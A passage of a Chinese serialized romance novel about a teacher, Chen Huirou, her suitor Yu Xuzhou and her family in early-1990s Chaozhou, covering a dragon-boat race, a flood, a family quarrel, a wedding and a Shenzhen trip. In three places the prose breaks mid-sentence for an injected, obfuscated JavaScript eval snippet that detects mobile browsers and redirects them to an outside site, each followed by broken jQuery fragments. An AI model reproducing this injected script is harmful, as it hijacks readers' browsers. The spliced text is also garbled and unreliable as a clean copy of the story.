饭后,王君出来接替陈慧柔看着锅上的粽子,陈敬涛和余序洲站在门口聊天,陈慧柔换完衣服出来就见两个男人在那笑。 阳光洒在他们的侧脸上,有一瞬间,她在余序洲身上看到了归属感。 这是从前跟江泓在一起所没有过的感觉。 “阿柔出来了。”陈敬涛拍拍余序洲的肩膀。 余序洲上前接过陈慧柔手里的保温杯:“走吧。” 陈慧柔扶着他的肩坐到后座上。余序洲载着她去面包店,这个点,门口都还有客人排队在等烤包。 陈慧柔帮父母搭好饭桌,就接过活,余序洲帮着打包找零钱,动作还有些生疏。 “序洲吃过饭了吗?” 陈镇东拿起筷子才反应过来问一句。 余序洲回头笑道:“吃过了叔,您快吃,都一点了。” 徐晓敏从旁问起余家父母工作跟身体情况,余序洲一一回答。 自从两家儿女谈对象,余光亮偶尔会经过这,借着买面包聊上几句。倒是赵婷,很少见到。比起当初和王君家谈亲时的走动,频率确实低了些。 “下午赛龙舟,寨上和西门两支队伍都参加,你俩要去看是吧?”徐晓敏拿过塑料袋,倒了些束砂和瓜册、豆方,打结系好,“这些带着,边看边吃。” 余序洲:“谢谢敏姨。” 墙上的挂钟指到两点半,陈镇东结束小憩,洗了把脸便赶着俩年轻人去看龙舟赛,自己继续看店。 竞渡抢标要论吉时,三点十八分开始,余序洲和陈慧柔到的时候两岸已经挤满了人,里三层外三层,有些人肩上还扛着个小孩,一挡,大半视线都没了。 “我们往下走走看。” 人多,余序洲紧拉着陈慧柔的手生怕被人冲散,好不容易找到一个空隙位,刚挤进去就发现这儿视野不好,被桥墩子挡了一大片。 “要不你也骑我头上?” 余序洲难得开玩笑,陈慧柔给了他一掌,睨了眼:“胡说八道什么,也不怕人笑话。” “站过来一些,踩在这个石墩上。” 从小到大,赛龙舟陈慧柔没看十次也有八次,但请龙头龙尾那些仪式,她倒没见过。见余序洲讲解起赛龙舟来头头是道,她便多问了一句—— “龙舟竞渡前要祭神,你见过吗?” 余序洲:“没见过,但听我爸说过,一般都是初四下午举行仪式。” 陈慧柔:“前几天我经过南门桥的时候,就已经看到他们在训练了,那会龙舟上都没有龙头。” 聊着聊着,锣鼓声响,吆喝声四起。身旁的人也都开始呐喊起来,为自己所在的社区队伍加油鼓劲。 “你猜谁会赢啊?” 陈慧柔凑到余序洲耳旁大声喊,才不至于被那锣鼓声给盖过去。 不等余序洲回答,两艘龙舟如那出水蛟龙般冲了出去,木浆劈出的波浪气势磅礴。很快这边就看不到龙舟的影子了,所有人都往上移,原本拥挤的空间一下变得稀疏。 余序洲拉着陈慧柔的手随人流往上跑,赛况紧张且激烈,不等他们赶到终点,比赛已经结束。南门社区领先,两岸呐喊声尖叫声此起彼伏。 陈慧柔小喘着气:“我们就在这站着吧,下一队比,中间这个位置既可以看到开局又能看到结束。” 余序洲:“好。” 陈慧柔拿出徐晓敏提前给她准备好的小零食,分给余序洲,两人就这么倚着栏杆等着下一局龙舟赛。 “你猜山霞赢还是下市赢?” “去年三百米直道好像是下市摘冠,今年应该也会是他们吧?” 陈慧柔边吃瓜册边张望,只觉得两个社区的龙头装饰风格很不一样:“明年的五月初四我一定要看到请龙头龙尾的仪式。到时候上课能跟学生讲。不至于都照着课本上的说,得结合实际。” 余序洲想都没想就应声:“行,到时候我和你一起。” 一起吗? 到明年的五月初四,他们在一起可就超过两年了。 陈慧柔咬着瓜册只觉得齁甜,不自然地嗯了声。 端午后连降了几天的雨,雨水比往年多得多,刮台风都没这么夸张。陈家地势低,这雨一下,门口都淹了。大水从坡上冲下来,没得排,最底下那几户人家,水都灌进小半层楼了,不得不连夜搬走。 陈敬涛找了两块木板堵在大门上,防止屋里进水,院子里的管不了,雨一下,地上的盆跟小凳子到处飘。 学校停课,店里的生意也没法儿做,一家六口天天大眼瞪小眼地窝在屋里。 王君除了照顾陈梓钰,就是犯愁一日三餐吃什么。下雨加积水,这一带基本买不到新鲜肉菜,只能吃家里原有囤的米粮和腌菜、罐头。还好端午那会粽子做得多,勉强能吃饱。 陈敬涛除了帮忙带孩子,就是给陈慧琪辅导功课,时不时出门看一下水位退得如何,检查一下房顶和墙壁情况。 最待不住的就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071784|163237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈镇东,他一贯屁股粘不住板凳,总想着出门,这雨一下就是好几日,宛若失去自由,连带着脾气都差了起来,动不动就大声吼,陈梓钰都被吓哭了几次。 对此王君颇有怨言。 “也不知道慧柔那情况怎么样,她西厢房的房顶去年修整过的对吧?” 平日里联系都得走到巷口那家小卖部打电话,现在下着雨到处又都是水,徐晓敏对外面的一切是一无所知。 陈镇东催着陈敬涛:“等雨小点,穿上雨靴出去给敬禹打个电话,问问他那情况怎么样?” “在学校的最安全了。” 王君想都没想就接了这句话,陈镇东一听,把茶杯重重一放:“什么意思?安全就不用问了吗?” 王君:“爸,我不是这个意思,这外面的雨那么大,小卖部也不一定开。外面积水那么深,到处飘着垃圾、废板子的,这蹚出去一来一回,万一遇到点什么……” 后半句王君没说,却也是提醒了徐晓敏,她合上手里的书,点头:“对,蟑螂虫子什么的也都从下水道里冒出来,水脏得很,别万一染上什么就麻烦了。” 陈镇东啪一下拍着桌面起身,背着手:“你们老姿娘做事就是婆婆妈妈怕这怕那的,都不去,我自己去!” 王君气得发抖,深呼吸,强忍着不出声,转头回屋里带孩子。 见陈镇东穿上雨衣是真的要出去,徐晓敏没打算拦他:“你顺便给慧柔也打一个,问问她那的情况。” 陈镇东不耐烦:“她有什么好问的,阿北那地势高,淹不了。” 徐晓敏脾性好,说话永远都是温温柔柔的,即便在这时候也没提高半点声量:“我担心的是她房顶,雨这么个下法,万一之前哪没有补好,漏雨怎么办?” 陈镇东没理她,穿上雨靴门板一跨就出去了。 “爸呢?”陈敬涛从里屋出来,见雨衣雨靴都没了,“叫我去不就好了,他怎么还自己出去?” 徐晓敏:“不用理他,让他去,我们也能安静会。” 王君一边喂陈梓钰,一边踢了陈敬涛一脚,示意他进屋把门带上。 “管你女儿就好了。” “你刚刚就不该说那一句。”陈敬涛埋怨妻子。 王君不理解,她本来就有气,这会见丈夫还责怪自己:“什么叫我不该?我那话有问题吗?本来在学校的就最安全,宿舍楼高,大学环境也不差。家里情况乱糟糟也不见他打回来一个电话问一下,怎么反倒还得我们给他打。” 陈敬禹自去上大学,就没主动给家里来过一通电话,都是陈镇东催着陈敬涛给他打。问生活费够不够,学习上有没有什么难题,和同学相处得怎么样,什么时候放假回家…… 王君就没见过这么自私的人。 “一样联系不上,妈也说了,问问慧柔那房顶漏不漏雨,爸就当没听见。”王君瞪了陈敬涛一眼,小声嘟囔:“说白了,你们家就是重男轻女。” 陈敬涛不接话茬,开门出去看,见雨势小了些,卷了卷裤腿就准备出去。徐晓敏咳了几声,喊他:“涛,帮我倒杯热水。” 等人到跟前,徐晓敏温声劝:“回房照顾梓钰,别出去。” “可爸……” 徐晓敏:“他又不是小孩子,丢不了,打完电话就回来了。小孩子免疫力低,越是这种天气越得谨慎些。” 陈敬涛叹了口气:“行,听您的。” 8. 表现 “作孽哦,这雨。” 西厢房门口堆着沙袋挡水,陈慧柔过去主屋吃饭得踩着沙袋翻过木板才能进屋,刚进门就听见小姑在抱怨,电视上正播着新闻——华东水灾。 阿萍正在分碗筷,小姑父坐在椅子上看新闻:“秦淮河与滁河的水位一米又一米地不断上涨,这江苏和安徽的情况太严峻了。” 小姑:“可不是,考验政府的时候到了。” 陈慧柔搬了把凳子坐在小姑父旁边,正好能看新闻:“今年的天气是有些极端,有的水灾,有的旱灾。” 小姑父摇头叹气:“赶紧放晴吧,不然这经济啊生活啊又得受影响。” 话音刚落,屋里电话响,阿萍放下筷子跑过去接。 小姑一边往陈慧柔碗里夹菜,一边笑着猜:“应该是小洲打来的,担心你。” 陈慧柔愣了下,咬到筷子,忙不迭松开:“不会吧,可能是我爸。” 小姑立马摇摇头,对自己这亲哥,她还不了解? 果不其然,下一秒阿萍就扯着嗓子喊:“大姐,接电话,洲哥打来的。” 小姑起哄道:“我猜对了吧,快去接,记得问问他家那边怎么样。” 陈慧柔“嗯”了一声,放下碗,起身过去。 “序洲。” “哎,你那里怎么样?” 听筒里传来余序洲的声音,伴随着窸窸窣窣的杂音落在陈慧柔耳朵里,远比外面的雨声要动听得多。 指间绕着电话线,陈慧柔看向墙上斑驳的墙皮,声音温柔:“我这还行,小姑父工地最不缺的就是沙袋,挡在门口水进不来。你呢?怎么还能给我来电话。” 余序洲:“我家地势高,不积水。我见雨势小了就出来电话亭这儿给你打通电话问问。之前你说房间的窗户关不紧会进风,这么大的雨,会不会进水?” “我拿破旧衣服堵上了,勉强能应付。” “行,等天气好了我过去帮你看看,实在不行修一修。” “嗯。” 短暂沉默,只听得见对方的呼吸声,陈慧柔抿唇:“你快回去吧,我这儿没事,不用担心。” 余序洲:“行,那挂了。” 陈慧柔:“拜拜。” 挂断电话,陈慧柔缓了缓才回到桌上吃饭。 小姑父难得称赞:“阿洲这孩子,懂得关心人,挺好。” 小姑笑着接过话茬:“可不是,我看等开春家里又得有喜事了。” “小姑,姑父……”陈慧柔耳根泛红,“别拿我开玩笑了。” 7月,北京举行了“救灾紧急呼吁”的新闻发布会,新闻和镇上的广播都在传达,学校也组织了捐款活动。 陈慧柔下课回家,刚一进门就听见陈镇东的声音—— “他是读书把脑子给读傻了是吧!” 王君掀开帘子拿着几个玉米出来剥,瞧见陈慧柔来了,拦下她:“帮我搭把手吧,先别进去了。” 院里堆着两袋水泥是准备修高门槛台阶用的,昨天过来的时候还听陈敬涛说,这点活留着等陈敬禹回来干。 “怎么了?爸这是在说敬禹?” “不然呢。” 王君搬了把凳子给陈慧柔,把早上的事说了一遍:“爸一早给敬禹打电话,还是工作的事情,就想让他回来潮州发展。” “回潮州?”陈慧柔很是意外,“他在深圳不是干得好好的吗?为什么非要回潮州。” 陈润雁这几年在深圳发展得还可以,和陈敬禹两人应该私底下有交流接触,以至于大学毕业后,陈敬禹就去了深圳,说深圳机会多,先攒攒经验。 陈镇东当时也是同意了的,怎么现在又要让他回潮州了。 “可不是嘛。”王君指了指屋里的,摇头:“爸不让,就看好那铁饭碗工作,要我说,人家深圳一份工资顶家里仨铁饭碗,怎么不可以。” 粤东这边的工资确实是省里最低的,勉强解决温饱,再多就不能够了。 远的不说,近的就拿小姑家来比,电话早早就安上了,还有电视机。小姑父工地的活,一趟下来顶陈敬涛半年的工资。 门帘被掀开,陈敬涛从里头出来,黑着张脸穿上外套:“我去学校改卷子,晚饭不回来吃了。” 王君:“这个点了你还出去?” 陈敬涛理都没理,抬着自行车出去直接走了。 陈慧柔一眼就看出来:“改卷子就是借口,躲爸的唠叨才是真的。” 王君烦不甚烦:“要我说,这事就是小叔子做得不好,当初决定要去深圳找工作也是先斩后奏,都没跟家里说一声。爸心里一直有个结,他也不知道回来聊一聊。电话里能说清楚什么,没几句就呛得面红耳赤的。” 王君这两年性子越来越直,和刚嫁过来不一样,有什么说什么,也从不忍着。陈慧柔有时候听着都有些羡慕她的脾性,从前自己在家都不敢这么说话。 晚饭的气氛很低迷,陈镇东一人开了瓶酒在那喝,余序洲过来的时候,陈慧柔还剩小半碗饭没吃。 “你今天怎么这么早?” 余序洲:“不是说要帮你修窗户?” “啊,对。”陈慧柔把这事给忘了,把余序洲拉到一边叮嘱:“我爸今天心情不好,你待会打完招呼就出去等我。” 余序洲:“来了就跑不太合适吧……” 陈慧柔给了对比例子:“我大哥出去躲着,饭都不回来吃,你觉得呢?” 余序洲挑眉惊讶,大概知晓利害:“行,我打个招呼后就找借口出来。” 在外面盘算得好好的,结果一进屋,陈镇东就招手示意陈慧柔拿多一个酒杯来,他要跟余序洲喝两杯。 “序洲你坐下,有件事我想听听看你的意见。” 陈慧柔微怔,王君没憋住,收起碗筷往外走,给她使了个眼色,唇角都翘起来了,脸上表情似乎写着四个字——撞枪口了。 “我只能说,序洲是来得太巧了。”见陈慧柔出来,王君扑哧一声,“这还在考验期,逃不掉。” 陈慧柔头疼不已,就怕陈镇东乱说话,也怕余序洲嘴笨没表现好,拿完杯子就赶紧进去。 余序洲规规矩矩地坐着,陈镇东给他倒酒,他俯低了接。 “序洲啊,我听说你大哥之前,也是读师范的,后来怎么去罐头厂上班了?” “他刚毕业那会也是当的老师,一个月20多,罐头厂里工人工资一个月能到50多,我大哥是学技术的,就转去厂里当电工。” 陈镇东嗯了声,举起酒杯和余序洲碰了下,仰头喝完抿了抿唇。 这酒辣得很,余序洲酒量一般,没一会就觉得脸上起热意了。 “慧柔的堂弟,润雁,你有听她说起过吗?” 铺垫拉这么长,徐晓敏都听不下去,起身去帮王君看孩子,外屋只剩下陈镇东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071785|163237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、陈慧柔和余序洲三人。 余序洲摇摇头:“没听过。” 陈镇东:“他们家在北门有间铺子,卖烟酒的,润雁呢跟敬禹差不多大,比他小个一两岁吧,对不对?” 陈慧柔无奈更正:“爸,你喝醉了,润雁比敬禹大两岁。” “哦对,大两岁,比你小。” 陈镇东又给自己倒了半杯,本想给余序洲添,被陈慧柔拦住。 陈慧柔:“爸,他杯子里还有。” 陈镇东见余序洲上脸了,指着劝:“你这酒量,还得练练。” 余序洲忙不迭点头:“是,是。” “刚说哪了,对,润雁,两年前辍学去深圳打工,赶上改革开放的动作,听说混得还行。他高中都没毕业,就是家里做生意的,他也跟着学了一两招。但是呢,新闻你看了没?多少民营企业说倒闭就倒闭,创业,哪有那么简单。” 陈镇东越说越来气,余序洲也就听懂一小部分,茫然看向身旁的陈慧柔,陈慧柔小声解释:“也没创业,他就是去卖烟酒,倒腾些日用。” “书没读完,没分配到工作,自己去做点生意养家糊口,这可以。但大学都上了!放着稳定铁饭碗不要跑去深圳创业,这不是杀鸡用牛刀?” 余序洲又投来求助眼神,张了张嘴,口型“又是谁”? “敬禹,去年就已经在深圳工作了。” 陈慧柔一脸无奈,都老黄历的事情了又搬出来说,这一年干得也算稳定,都不知道陈镇东在气什么。 “姓资还是姓社都搞不明白的地方,你说他去了能干什么?序洲。”陈镇东放下酒杯,看向余序洲,“你来说说,这件事你怎么看!” “考题”来了,余序洲看了陈慧柔一眼,端坐直身,沉吟片刻道:“叔,去年上海发展浦东,年底深圳交易所就抢在了上交所前头试开市。这两座城市之间,是有相同点的,未来势必会成为核心城市,进一步得到国家政策扶持。在深圳的发展要比小镇、比市里好得多。” “懂你意思了。”陈镇东制止余序洲继续往下说,“也是,你们家已经有放弃铁饭碗的先例,不足为奇。” 余序洲挠挠头,有些不知所措。 陈慧柔扯着余序洲起身:“爸,我房间的窗户坏了,要让余序洲帮我修,我们先过去,免得晚了光线不好。” “去吧。” 陈镇东摆摆手。 从家里出来,陈慧柔双手揣着口袋往前。 余序洲推着自行车,还在琢磨方才的对话:“敬禹去深圳,是跟你另一个弟弟一块做生意吗?” “不清楚。”陈慧柔语气不太好,走了几步忽然回过头来,盯着余序洲看:“让你回答你还真老实回答了,看不出来我爸不同意敬禹去深圳发展吗?” 余序洲老实巴交:“去深圳挺好的啊,他学历高,起步就高。而且不都已经去了一年,怎么还因为这个事吵?” “毕竟不稳定,他又不是做生意的料子。算了,不想聊这个事。” 反正也干预不了。 陈慧柔就是烦余序洲因为陈敬禹的事,兴许在陈镇东那被记了一笔。 开春三月,深圳特区报刊登了一篇万字通讯《东方风来满眼春》,陈敬禹着急给陈敬涛打电话,让他下班一定要买份报纸回家给陈镇东看。 南方谈话,字字价值连城,自那之后陈镇东没有再干涉陈敬禹的决定。 9. 新婚 暑期酷热,窗外蝉鸣声四起,屋内像个小型蒸笼又闷又热。余序洲蹲在地上给新打的家具上油漆,背心全湿透了。 陈慧柔端了碗绿豆汤进来:“你先喝点解解暑。” “太热了。” 余序洲一抬头,汗如雨下,整张脸狼狈得很,手上都是油漆,就着陈慧柔的手狼吞虎咽喝完,赶着人离开:“你出去待着,里屋太热。” “要不我们买台电风扇吧?早晚用得着。”陈慧柔指了指还没上漆的衣柜跟书桌,“这都还有得干,万一中暑就又耽搁了。” 余序洲犹豫了一下,被现实打败:“买!” 陈慧柔:“那等你手头上这个刷好,我们就去商店。” 端着空碗出来,迎面碰上买完菜回来的赵婷,陈慧柔温声打招呼:“婷姨。” “哎,来帮序洲刷漆?” 一进门就闻到一股漆味,冲得很。赵婷把菜放到灶台上,进里屋看了眼进度,实在受不了味道就退出来,顺手把门关上。 陈慧柔看了有些急:“婷姨,门关了不通风,里面太热了。” 赵婷嫌弃道:“这味道太大了,谁受得了?要我说就不该省这点钱,让人打家具的时候顺便把漆色上了不就得了。非要扛回家来自己刷,这不是找罪受是什么?” 陈慧柔:“自己刷漆可以省小一千块呢。” 赵婷惊讶:“差这么多?” 陈慧柔点头,说完顺势再把门打开。 赵婷看了眼,皱皱眉头,终是什么都没说转身离开。 余序洲和陈慧柔已经到了谈婚论嫁的阶段,余家有一套两居室,是学校分配给余光亮的房子。大的那间是主卧,带个小阳台,平日里是晾晒衣服的地方,余光亮和赵婷在住,小的那间是余序洲的小妹余稚乔住。 余序洲大部分时间在高堂,回家就只是在客厅里打个床铺,也没有自己的房间。因为要结婚,俩老人就商量着让余稚乔搬去大哥余序南家住,小房间腾出来给余序洲做婚房。 婚床、衣柜、书桌都得打一套新的,这个暑假余序洲忙得晕头转向,陈慧柔一有时间就过来帮忙。 婚期定在国庆,是徐晓敏的意思。 起初余家是想听听陈家的意见,因为余序洲的母亲赵婷是信基督教的,没那么多风俗旧礼,就说全听亲家安排。可陈家是嫁女儿,自然也没太多讲究。 索性就把时间定在国庆,国家的日子,总归是最好的。就是这婚礼,做桌请人难免繁琐,余光亮说是让孩子们自己安排,其实就是不打算大办。 陈慧柔跟黄沐卿说起这事的时候,疲惫又无力。 黄沐卿问:“序洲老师怎么说?” “他?他能有什么办法,就问我能不能接受旅行结婚。” 交往久了,余序洲性子还和初次见面时的印象一样,老实巴交,不争不抢。陈慧柔以为男孩子,当是家里受重视的,没想到,这在余家还能是意外。 甚至有时候陈慧柔都觉得自己在家里的话语权,要比余序洲在他家的高。 黄沐卿倒是难得认同余序洲:“我觉得旅行结婚挺好,省去很多不必要的麻烦。谈恋爱是两个人的事,结婚就变成两个家庭,难免会有摩擦跟分歧。你也说了,余家态度一般,大家既然都不撑面子,就随性些,你也少点烦心事。” 陈慧柔:“会少吗?我倒是觉得结了婚,只会更烦。” 原本去年家里就在催婚事该定下来了,是她一直拖着,借口余序洲还没调回镇上,想再等等看。 现在她都二十九了,再不结,父母该闹了。 “阿柔,结了婚,就要硬气点,把话语权牢牢掌握在自己手里,可别再像从前那样了。” 有些话,黄沐卿不好说得太直白,特别是跟余序洲有关的。她一直希望陈慧柔能找一个性格互补,能给她安全感为她撑腰说话的人。 结果余序洲两样都不沾,光是调动这件事,黄沐卿之前之所以试探,就是知道教育线有政策。 但凡余序洲自己积极去打听,和家里商量一下,只要余光亮愿意为了儿子卖一卖老脸,未必不能争取到一个面试机会。 她有个远方亲戚就是在那次调动中,成功争取到从山里调回来县城的机会。而余序洲这边,依旧是老老实实两点一线地来回。 有些时候,自己不去争取,只想等着老天安排,那就注定会错过。 黄沐卿问:“对了,婚后你们俩谁管钱啊?” 陈慧柔抬眼:“这个问题我们还没有深聊过,婚后和他父母住一起,我们是要交生活费的,由他爸妈去安排一日三餐。” 黄沐卿点头表示理解:“就是你公婆去买菜,做好了你们回来吃就行?” “做饭这个……”陈慧柔尴尬地捏了捏鼻子,“我没课的话,应该是我该做的吧?” 黄沐卿不认同:“什么该不该,说得像天生属于你的家务一样,别把在自己家大小活包揽的习惯带过去。不然这一辈子就定性了。” “可我是儿媳妇啊。” 陈慧柔觉得这是理所当然的事情,就像王君嫁过来陈家一样,家里的活大部分都是她在做,辞了纺织厂的工作,还得去店里帮忙。 “儿媳妇怎么了,谁说儿媳妇就得负责全部家务了?你也有自己的工作不是吗?总之该糊涂的时候就糊涂,哪怕把活都给序洲老师做,他乐意就行。” 陈慧柔看着黄沐卿,半晌低头轻笑:“这话,因为是从你口中说出来的,倒也就不新奇了。你一贯活得比我潇洒,比我坦率。” 黄沐卿叹气:“我都希望你也能和我一样,多少从我这受到点影响,这样也不枉做这么多年好友了。” 陈慧柔双手抬起作抱拳状:“一定学习。” 婚假连着国庆节假日有十几天,陈慧柔和余序洲从潮州出发,先去广州玩了几天,然后去了趟深圳,陈敬禹去车站接他们。 “大姐!姐夫,这儿!” 余序洲拿着行李出来,见陈敬禹开了辆小轿车,眼底满是赞赏:“阿禹现在发展得不错啊!都有车了!” 陈敬禹把行李放到后备箱,拍了拍车身解释:“姐夫,这是公司的车,就是想着接你们方便。先上车吧,我送你们回酒店。” “爸让我带了些肉干和菜脯、茶叶过来给你,你现在还和润雁住一起吗?” 陈慧柔坐在后座,手紧紧把着前座椅子靠背,把车窗降下来大半,有风吹着才不至于晕车。 陈敬禹摇头:“陈润雁买房了,你还不知道吧?” “买房?在深圳?”陈慧柔很是惊讶,“那得多少钱啊……” 陈敬禹:“他之前做生意就赚了不少,后来股票又挣了些,首付付了五成,其余的贷款,每个月还一点。我现在和一个师兄合租,就在公司附近。对了,你们要去我公司看一看吗?” 一开始,陈敬禹来深圳是和陈润雁他们一起干,后来还是想做回研发,有了之前积累的经验,加上陈润雁人脉牵线搭桥,他进了一家华为电子公司,主要做小型交换机的研发工作。 “公司就不去了,你工作的地方又不是景点,别影响同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071786|163237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事工作。”余序洲抢在陈慧柔前面回答,“你把我们放酒店就行,我们自己到处逛逛,你赶紧回去上班。” 陈敬禹听笑了:“姐夫,你们放假,我也放假啊,国庆,这谁还上班。” 余序洲一拍脑袋:“对对对,瞧我,坐车都坐晕了。” 陈慧柔:“深圳这儿好像没想象中那么热闹,找家餐厅先吃个饭吧,到饭点了,我和你姐夫请客。” “姐,来我的地盘哪还用得着你请,再说了,你和姐夫大喜,我这个做弟弟的总得表示一下。咱先把行李放了,再去吃饭。” 陈慧柔莞尔:“好。” 陈敬禹带着陈慧柔和余序洲去了一家潮汕菜馆,一进门就跟老板用潮汕话打招呼。 “都是胶己人。” 老板也跟着陈敬禹称呼陈慧柔和余序洲为姐姐姐夫,陈慧柔小有惊讶,余序洲则上道地给人递了根烟。 “姐,你跟姐夫先去坐,我去点菜。” 店里摆着新鲜食材,由客人自己挑选搭配,包括做法,鱼是要清蒸还是油煎口,是要加酸梅的做法还是纯酱油鱼的做法,厨师都能照着做。 陈慧柔坐下后,服务员就端上来一壶茶还有一个空盆,深圳餐饮和广州餐饮一样,客人都有饭前烫碗筷的习惯。去过广州再来深圳,陈慧柔已经能熟练地用上这一套动作。 陈敬禹点完菜回来,接过刚烫好的碗筷主动介绍:“刚才那老板是揭阳的,我第一次过来是润雁带着,他家口味可以自选,想吃家乡菜就会过来这吃。” “润雁怎么样?你说他炒股赚了不少,我之前看新闻,深圳好像因为什么债券还是,发生过恶性事件。” 陈慧柔也就从新闻上了解到一些边缘信息,毕竟小镇上还不时兴炒股,她懂的也不多,周围也就余光亮每天会买报纸研究一些。 “姐你还关注这个了?”陈敬禹拿起筷子夹着小碟里的虾仁菜脯,边吃边讲:“那是新股,不是债券。八月初深交所说要发行国内公众股,五亿股,用抽签的方式,市民买抽签表,中签了才能买。” 陈敬禹放下筷子比划:“五亿啊,你们不知道那天,深圳有多热闹,外省的人都来排队买抽签表。” “外省的都来?”余序洲有些难以置信。 陈敬禹:“是啊,毕竟这中了新股,跟中彩票没什么区别。上海的都过来,那天交通都瘫痪了,每个抽签表发售点前面全是排长龙,人抱人的那种,就怕被挤出队伍重新再排。” 陈慧柔很是不理解:“夸张……” 余序洲问:“那你去排了吗?买到了吗?” 陈敬禹听笑了:“我要是买到,不得第一时间打电话跟家里说?没用的,五百万张抽签表,真正能买到的人,不超过百分之五。” 陈慧柔意会:“被中间商买走了?” 陈敬禹:“意思是这个意思,但不是中间商,是工作人员,从出台政策到发放抽签表,经手的员工内部消化了不少。就因为这样,才影响到市民对股市的信心,有了后来的恶性事件。” “那股价岂不是也受到了影响?” 余序洲刚问完,赶上老板亲自过来上菜,跟着聊了两句,得知陈慧柔和余序洲是来旅行结婚,决定多送一道百合银耳甜果汤,祝他们新婚快乐,甜甜蜜蜜。 余序洲感慨:“在外有老乡是真不一样,感受到了温暖。” 吃完饭,陈敬禹把人送回酒店,又拎了两大袋特产回住处。之后的时间,陈慧柔和余序洲自己出去玩,离开深圳前和陈敬禹通了电话,没再见面。 10. 蜜月 窗间过马,假期最后一天,陈慧柔和余序洲大包小包带了不少手信回家。买的时候陈慧柔就已经想好了,哪些给夫家,哪些给婆家,哪些给朋友,就差在上面贴标签。 在这种事情上,余序洲基本都听她的安排,买的时候也只是负责掏钱,旁的并没有干涉。 “你先把保健品和奶粉拿出去给爸妈,就说是你去商场挑的。”回到家,行李刚放下,陈慧柔就催促余序洲,“对了,还有这桃酥也拿给他们尝尝,你嘴甜一点。” 余序洲没对父母献过殷勤,一时觉得有点别扭:“你拿就行。” 陈慧柔催促道:“哎呀快去。” 余光亮正在客厅里看新闻,赵敏在洗碗,余稚乔晚上过来吃饭,见兄嫂回来了,跟在屁股后面就想听旅途上的趣闻。 得知广州有大商场、电梯、卡拉OK,余稚乔眼睛都亮了:“大城市就是不一样,还得是省会。” 陈慧柔鼓励余稚乔:“有机会还是要出去见见世面的,广州的衣服料子又好,款式也漂亮,你这种年轻小姑娘一定会喜欢。” “广州那是高消费的地方,想都不敢想。” 赵敏洗完碗出来正好听见陈慧柔这句话,对她鼓励余稚乔去广州并不赞同:“什么样的家庭过什么样的生活,踏实些好。” “爸、妈,这是我们买的一些保健品和中老年人奶粉,补充营养的。” 余序洲把手信拿出去放在桌上,茶几小,一下就堆满了。 赵敏眉头皱紧:“花这些钱做什么?你什么时候见我和你爸喝牛奶了,我们不喝这玩意。还有什么保健品,都是骗人的,你们才赚几个钱,浪费!” 余光亮戴上眼镜拿起保健品看了下:“这牌子,我在报纸上见到过,它家有股票的。” “对对,爸,这保健品在广州商场抢手得很,我们一大早排队买的,晚了都买不到。鱼油护肝,还有这高钙片专门应对老年人骨质疏松。” 余序洲就差照着外包装上的说明读出来给父母听,满脸写着孝顺二字。 谁知,余光亮并不领情,摘下眼镜道:“唉都是骗人的,你妈说得对,吃这一盒身体就能好?多锻炼就行,锻炼比什么都强。至于奶粉……行,你俩有孝心,我们就收下了。” “哦,还有这盒桃酥,说是广州有名的老字号,你尝尝看。” 余序洲刚把盒子打开,下一秒就听见赵敏说他:“你是晚饭没吃饱吗?” 在卧室的陈慧柔有些听不下去,理了一半行李后丢开,起身出来。 前一秒还在皱眉烦躁,下一秒已经换成笑脸迎合:“爸妈,这桃酥是序洲一大早去排队买的,店门还没开他就在外面等了,说是趁新鲜吃才会酥脆。正好,饭后沏茶配着喝,也不会太腻。” 见余稚乔在一旁站着,陈慧柔招呼她:“阿乔试试看?小半块也行,不撑肚的。” 余稚乔:“谢谢二嫂。” “买这么多东西,花不少钱吧?出去一趟本来也费钱,省点多好,都是一家人,哪还需要送来送去的。” 赵敏看着这一桌子手信,就觉得心疼,中看不中用。 陈慧柔莞尔:“妈,孝敬您二老这不叫浪费,也是我和序洲的一片孝心。至于钱,我们心里有底,都计划着的。” 新媳妇把孝心都搬出来了,赵敏也不好说什么,余光亮主动吃了块桃酥,夸很香很脆,也算圆场。 陈慧柔看向余序洲:“我去把脏外套洗了,你帮我把桶跟刷子搬去阳台。” 余序洲:“行。” 旅游这些天,陈慧柔每天都会手洗贴身衣服,然后晾在酒店窗户边或者天台上,条件有限,衣服上总有股湿闷的味道。 余序洲能接受,她不行,回来第一件事就是重洗衣服。 “怎么不在厕所洗,在这待会把阳台都弄湿了。” “那我就顺便冲洗一遍阳台,这有什么难的。” 余家厕所就那么点地方,还砌了两层台阶衔接蹲坑,平日里赵敏就在进门那巴掌大的地方就地搓洗衣服,陈慧柔每次都看不下去,人来人往的多脏。 阳台这里有排水沟也有水龙头,洗完就直接晾上去,不是更方便? 